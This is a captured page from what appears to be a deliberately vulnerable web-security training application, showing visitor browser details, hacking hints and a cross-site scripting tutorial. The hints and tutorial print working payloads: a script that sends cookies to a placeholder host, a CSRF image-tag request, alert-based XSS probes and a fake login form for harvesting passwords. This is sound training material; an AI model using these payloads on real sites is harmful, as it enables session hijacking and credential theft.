Browser Information

  Back

Info obtained by PHP
Client IP	172.21.0.18
Client Hostname	172.21.0.18
Operating System	ClaudeBot/1.0
User Agent String	Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
Referrer	https://server-vuln.vuln.cybersecurity.or.id/mutillidae/index.php?do=toggle-hints&page=browser-info.php
Remote Client Port	50256
WhoIs info for client IP	# # ARIN WHOIS data and services are subject to the Terms of Use # available at: https://www.arin.net/resources/registry/whois/tou/ # # If you see inaccuracies in the results, please report at # https://www.arin.net/resources/registry/whois/inaccuracy_reporting/ # # Copyright 1997-2026, American Registry for Internet Numbers, Ltd. # # # Query terms are ambiguous. The query is assumed to be: # "n 172.21.0.18" # # Use "?" to get help. # NetRange: 172.16.0.0 - 172.31.255.255 CIDR: 172.16.0.0/12 NetName: PRIVATE-ADDRESS-BBLK-RFC1918-IANA-RESERVED NetHandle: NET-172-16-0-0-1 Parent: NET172 (NET-172-0-0-0-0) NetType: IANA Special Use OriginAS: Organization: Internet Assigned Numbers Authority (IANA) RegDate: 1994-03-15 Updated: 2024-05-24 Comment: These addresses are in use by many millions of independently operated networks, which might be as small as a single computer connected to a home gateway, and are automatically configured in hundreds of millions of devices. They are only intended for use within a private context and traffic that needs to cross the Internet will need to use a different, unique address. Comment: Comment: These addresses can be used by anyone without any need to coordinate with IANA or an Internet registry. The traffic from these addresses does not come from ICANN or IANA. We are not the source of activity you may see on logs or in e-mail records. Please refer to http://www.iana.org/abuse/answers Comment: Comment: These addresses were assigned by the IETF, the organization that develops Internet protocols, in the Best Current Practice document, RFC 1918 which can be found at: Comment: http://datatracker.ietf.org/doc/rfc1918 Ref: https://rdap.arin.net/registry/ip/172.16.0.0 OrgName: Internet Assigned Numbers Authority OrgId: IANA Address: 12025 Waterfront Drive Address: Suite 300 City: Los Angeles StateProv: CA PostalCode: 90292 Country: US RegDate: Updated: 2024-05-24 Ref: https://rdap.arin.net/registry/entity/IANA OrgTechHandle: IANA-IP-ARIN OrgTechName: ICANN OrgTechPhone: +1-310-301-5820 OrgTechEmail: abuse@iana.org OrgTechRef: https://rdap.arin.net/registry/entity/IANA-IP-ARIN OrgAbuseHandle: IANA-IP-ARIN OrgAbuseName: ICANN OrgAbusePhone: +1-310-301-5820 OrgAbuseEmail: abuse@iana.org OrgAbuseRef: https://rdap.arin.net/registry/entity/IANA-IP-ARIN # # ARIN WHOIS data and services are subject to the Terms of Use # available at: https://www.arin.net/resources/registry/whois/tou/ # # If you see inaccuracies in the results, please report at # https://www.arin.net/resources/registry/whois/inaccuracy_reporting/ # # Copyright 1997-2026, American Registry for Internet Numbers, Ltd. #
Cookie PHPSESSID	9ff98e750f44bf364c7c81a7214f66dd
Cookie showhints	2

 

 

Info obtained by JavaScript
Browser Name
Browser Codename
Browser Version
Cookie Enabled?
Platform
User Agent
CPU Class
System Language
Resolution
Color Depth
Referrer
Plug-Ins

Hints

For XSS:XSS is easy stuff. This one shows off both reflected (you see the results instantly) and stored (someone can run across it later in another app that uses the same database). "<script>alert("XSS");</script>" is the classic, but there are far more interesting things you could do which I plan show in a video later. For some hot cookie stealing action, try something like: <script> new Image().src="http://some-ip/mutillidae/catch.php?cookie="+encodeURI(document.cookie); </script> Check out Rsnake's XSS Cheet Sheet for more ways you can encode XSS attacks that may allow you to get around some filters. For CSRF:You can create another page someplace and make a link to an image that is not an image. You can also send someone an HTML email with a link inside. Sending links over HTML aware Instant Messaging like Communicator also works. One of the quietest methods is to use HTML injection to poison a web page thus creating a persistant attack. When a user visits the poisoned page, their browser will reach out to the targe page. Using an AJAX request can keep the rouge tranaction silent. You could use something like the following: <img src="http://localhost/mutillidae/index.php?page=add-to-your-blog.php&input_from_form=hi%20there%20monkeyboy"> This is the easy way to do CSRF with the GET method. Login as someone, make your page with the link image someplace else, and then view it. You should now see something new on the comment wall. For Cross Site Request Forgery, a tool like the Social Engineering Toolkit by Dave Kennedy can help.

 

Cross-Site Scripting Tutorial

Cross-Site Scripting occurs because a script is displayed in page output but is not properly encoded. Because of the lack of proper encoding, the browser will execute the script rather than display it as data. Pages that encode all dynamic output are generally immune. The page will simply display the script as text rather than execute the script as code. The first step to Cross-Site Scripting is to determine which of the sites input is displayed as output. Some input is immediately output on the same or next page. These pages are candidates for reflected Cross-Site Scripting. Some input may be stored in a database and output later on the appropriate page. These situations may be ripe for the most dangerous type of XSS; persistent XSS. Developers may treat input from forms carefully, while completely ignoring input passed via URL Query Parameters, Cookies, HTTP Headers, Logs, Emails, etc. The key is to encode ALL output and not just output that came into the site via forms/POST. Discovery Methodology Step 1: For each page under scrutiny, enter a unique string into each form field, url query parameter, cookie value, HTTP Header, etc., record which value has which unique string, submit the page, then observe the resulting page to see if any of your unique strings appeared. Upon finding a unique string, note which value had contained that string and record this on your map. Unfortunately the input could end up as output on any page within the site, all pages within the site, or none of them. If the values are not reflected immediately but presented on a later page (for example in search results) then it should be assumed the value is stored in a database. Step 2:The second step is to test all the input locations from step #1 with various scripts, css, html tags, etc. and observe the resulting output. If the site fails to encode output, it is a candidate for XSS. Methodology: Enter interesting characters such as angle brackets for HTMLi and XSS, Cascading style sheet symbols, etc. to see if the site encodes this output. If the site does not encode output, try inserting XSS, CSS, HTML, etc. and watch for execution. If the site has a WAF, this is likely the point at which you will detect the WAF presence. Examples Many examples can be found at http://ha.ckers.org/xss.html This example is of stealing a cookie. This could be reflected or persistent. To make this persistent, try to get the script stored into a database field which is later output onto a web page. <script>alert('Cookies which do not have the HTTPOnly attribute set: ' + document.cookie);</script> Same example with the single-quotes escaped for databases such as MySQL. This allows the XSS to be stored in the database. When the web site (or another site) pulls the XSS from the database at a later time, it will be served with the site content. <script>alert(\'Cookies which do not have the HTTPOnly attribute set: \' + document.cookie);</script> Cross site scripting will work in any unencoded output. It does not matter if the value being output initially came from a form field (usually POST) or URL parameteres (GET). If fact the value can come from any source. For example, if a web page outputs the user-agent string in whole or part, you can use a tool such as User-Agent Switcher plug-in for Firefox to attempt XSS via the User-Agent HTTP Header. Any HTTP Header can be forged with or without tools. If you would like to forge an HTTP Header without tools, try Netcat. Other options include intercepting and changing the web request after the request leaves the browser. Burp Suite is an excellent tool to try on your own machine. Try changing the user-agent to the XSS examples on this page. Also, try this sample HTML injection. The XSS could be directly placed into the database then pulled later. This can happen from a hacked database, a rouge DBA, or via SQL injection such as with ASPROX. This is why output encoding is a better defense than input validation for XSS. If the XSS makes it into the database but never has to pass through the validation to get there, input validation will not work. <h1>Sorry. There has been a system error.<br /><br />Please login again</h1><br/>Username<input type="text"><br/>Password<input type="text"><br/><br/><input type="submit" value="Submit"><h1>&nbsp;</h1>